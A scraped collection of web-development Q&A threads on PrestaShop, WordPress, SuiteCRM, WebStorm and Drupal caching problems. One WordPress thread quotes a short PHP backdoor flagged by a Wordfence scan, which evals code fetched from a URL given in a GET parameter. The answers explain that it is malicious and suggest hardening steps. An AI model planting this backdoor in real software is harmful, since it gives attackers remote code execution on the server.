I'm working on a Prestashop site and recently noticed about the SMARTY features (Menu: Advanced > Performance).
I realized that in order to show changes I made in the css, I must select one of the last two options (first one was selected by default).
Screenshot (I'm sorry the site is in Spanish)
1)Never recompile template files
2)Recompile templates when files are modified
3)Force compilation
My question is: when it comes to an online shop, wich option should I select until I finish editing the code? What's the difference between both?
It may take me a couple weeks to finish the job and I don't want to mess anything up.
Thank you guys.
When you're starting to dev onto the shop, whether it's front or back, you may have to choose the option to recompile when files are modified. I'm always choosing this option because it allows me to develop or debug some files and the server keeps serving cache files to the visitors.
Also you may have to edit the file defines.inc.php file in the config folder in order to define the _PS_MODE_DEV to true, for example like this :
/* Debug only */
if (!defined('_PS_MODE_DEV_'))
if (in_array($_SERVER['REMOTE_ADDR'], array('217.128.240.59')))
define('_PS_MODE_DEV_', true);
else
define('_PS_MODE_DEV_', false);
Doing this so you'll be able to get some logs when you're updating something. Placing your IP into the array keeps everyone safe from seeing the logs (notices for example).
In PS 1.6.
- Configure the SMARTY to "Recompile templates if the files have been updated" then deactivate the option "Smart cache for CSS"
- make the changes in your CSS files,
- delete the folders mentioned sadlyblue in comment.
- and activate again the "Smart cache for CSS" SAVE to recompile theme.
Related
I'm building a web site with WordPress, and frequently need to replace a media file--specifically, a Java project exported from Eclipse to an archive, but the same happens with images. To retain the original file name, I "delete the file permanently" from the media library, then upload the revision.
Unfortunately, when I download the file via a link, I get the "deleted" version instead of the new one.
I have disabled the "Organize my uploads into month- and year-based folders" option, so I know the file name is consistent over time.
How is it the "permanently deleted" files don't disappear? And why do they supersede their replacements?
Right now, my choice is to upload the revision without deleting the original; WordPress assigns a sequence number to the revision. I need to change links to match, and the downloaded file will contain the sequence number when used (which isn't very tidy).
This is WordPress 6.1.1.
I've had the same problem quite a few times. What I do now is just use the plugin called Enable Media Replace: https://wordpress.org/plugins/enable-media-replace/ and I don't really have to think about that issue anymore. Maybe this could be an option for you?
Otherwise I think you will have to go in to the database and manually remove the images unfortunately.
I have been looking at the Wordfence scan results on my site this morning and see 17 instances which seem to imply malware has ben installed on the server. I would be surprised if this were to be the case but wanted to be sure:
One example,
Filename: wp-admin/menu-header-cron.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <?php\x0aif (isset($_GET['limit'])) {\x0a eval(file_get_contents('http://' . $_GET['limit']));\x0a}
The issue type is: Backdoor:PHP/numeric.rce.8527
Description: Remote code execution malware
Looking at the file in question, the content of this file is:
<?php
if (isset($_GET['limit'])) {
eval(file_get_contents('http://' . $_GET['limit']));
}
Can anyone confirm whether this is an innocent file or something I need to quarantine/delete?
Also, has was this file created? It implies that remote code has the capability of creating new files in the wp-admin/ sub folder? Is there not a simple way to prevent this which would preclude any further instances.
Many thanks for any input
Answers:
Yes, this is a dangerous file as already mentioned by #Everlyn Woodley. eval() is not considered safe in production at all.
Further to verify, a quick grep "isset($_GET['limit'])" on source file of latest Wordpress package tells that its not part of it, hence again a dangerous code.
Yes, someone is able to upload files on your server. Probably they have uploaded some kind of web-shell and can manipulate any file on your hosting account. Its pretty common though.
To prevent it in future (given that you have successfully cleaned your current WP install), you can do few things, (there are plenty of articles so it would be redundant) but mentioning few might not hurt here:
Install or enable mod_security on server level
Always make sure you have latest Wordpress as well plugins
Use minimal plugins.
Simple but effective: Change location of wp-plugin and theme folders.
(https://wordpress.org/support/article/editing-wp-config-php/#moving-wp-content-folder )
If you examine access log of a regular WP install, you will notice that there are tons of bots hitting with known-vulnerabilities mostly targeting plugins folder, simply changing plugins folder location along with other security measures mentioned above can significantly reduce such hacks.
That snippet is reading the limit parameter then passing is as an URL to get a file. And eval function will just execute it
So its pretty dangerous
I am working on SuiteCRM, and i want to change the CSS of my website in order to personalize it but there is an issue.
When i am changing the "style.css" of the SuiteP Theme, the pages aren't changing at all. Here is my question:
Does someone know how to change the css of this CRM and can help me to fix it ?
Thanks a lot
Make sure that your active theme is "SuiteP".
You need to know that SuiteCRM store things inside "cache" folder and you are doing changes without refreshing cache files. Cache files location will be cache/themes/SuiteP/css/style.css. So for quick changes, you can use browser developer tools.
Moreover, if you change core style.css then empty cache directory and (hard)refresh your browser. If cache files don't exist then Suite will build new using core file.
Like Star previously mentioned, Suite does cache the CSS.
Though, if you're not updating the SASS file, and just updating the CSS directly, your changes will be temporary for when the CRM next re-builds the CSS (I believe this is part of the Repair and Rebuild process in the admin section), your changes will be lost as the CSS file constructed from the style.scss file.
I'd recommend installing sass (via a gem or other means, however you choose), making changes to the scss then recompiling the css (or watching for changes if working locally, which I hope you are for working with Suite) when you've applied your changes.
If you still don't experience changes, try a repair and re-build or delete the cache directory and let it recompile on the next page load.
there are 2 options:
change core file and then delete cache contents. Refresh your page twice.
made changes in cache file. Make sure developer mood is off. Once you are done then copy it core file.
Create a new subfolder CUSTOM, copy the CSS files that are under suiteP (or the current theme) into the new custom. copy the whole path with folders, even if the folders are empty.
So the new path for the sytle.css with be /costum/theme/....../css/sytle.css
Change the file under the custom folder. The previous answers are not correct. This is well documented under the suite CRM docs.
Sometimes it doesn't work. Try next steps:
SuiteCRM better to use in development mode.
Not always the cache files deleting works for me. Better to use the tool in Admin panel - Quick Repair.
Sometimes good to clear browser cache (in dev mode reload a page by right clicking the refresh button).
Each time I write something into WebStorm IDE Meteor rebuilds. Even if I don't save the files. My computer becomes noisy and hot quickly.
I am looking for a way to prevent Meteor to watch WebStorm temp files.
Does this happen when debugging your code? If yes, this must be a Live Edit issue. Try disabling Live Edit plugin - does it help?
Look at the synchronization section of the system settings page from their documentation
Here's what it says:
Synchronization
Synchronize files on frame or editor tab activation
If this check box
is selected, all the files that were changed externally are reloaded
from disk when you switch to WebStorm from a different application, or
when you you switch to their editor tab.
Save files on frame deactivation
If this check box is selected, all
modified files are auto saved when you switch from WebStorm to a
different application. Note that you cannot disable autosave
completely by turning off this and the following option. See Saving
and Reverting Changes.
Save files automatically if application is idle for N seconds
If this
check box is selected, all modified files are auto saved at regular
time internals. See also, Saving and Reverting Changes.
Use "safe write" (save changes to a temporary file first)
If this
check box is selected, a changed file is first saved in a temporary
file. If the save operation succeeds, the file being saved is replaced
with the saved file. (Technically, the original file is deleted and
the temporary file is renamed.) Also, the ownership of such file
changes. If this check box is not selected, the ownership of a file
does not change, but all the advantages of safe write will be lost.
Try unchecking those checkboxes and see if that prevents some saves.
I had a similar problem in that WebStorm was constantly saving edits to Jade files, even after typing just one character, triggering a gulp watcher. Disabling the Live Edit plugin and unchecking these boxes worked for me. Since disabling Live Edit didn't work for you, maybe unchecking one or more of these boxes will fix it.
Check this meteor specific webstorm help article. There is detailed description on how to configure live edit and code updating and how that would work together with meteor.
At my current place of employment I've inherited a Drupal 6 site that I am maintaining and updating. There's a custom module that has some copy in it that needs to be updated.
Naturally, I went in and edited the .module file in my local environment, tested it and it looked great. We pushed the file to our development server and cleared the caches, theme registry etc and the change will not take place. It is still reading as the old copy.
As I've said, I've cleared the cache, deactivated/reactivated the module etc.. I've even tried to run update.php but the module in question doesn't actually appear in that list (there's no hook_update in this module it would seem). Is there some other trick to getting Drupal modules to register a change in the code?
One possibility is that the PHP process is not reading the new file but has the old one cached. You should restart your php-fpm or apache, depending which way you are running the site, to make sure the APC or Opcache are cleared as well.
I would also double check the content of the actual .module file to be extra certain that the new version is really there.
Yet another possibility that comes to mind is that you'll have to make sure you are updating the code in the correct location, ie you need to double check that the web server is serving Drupal from the location you are updating.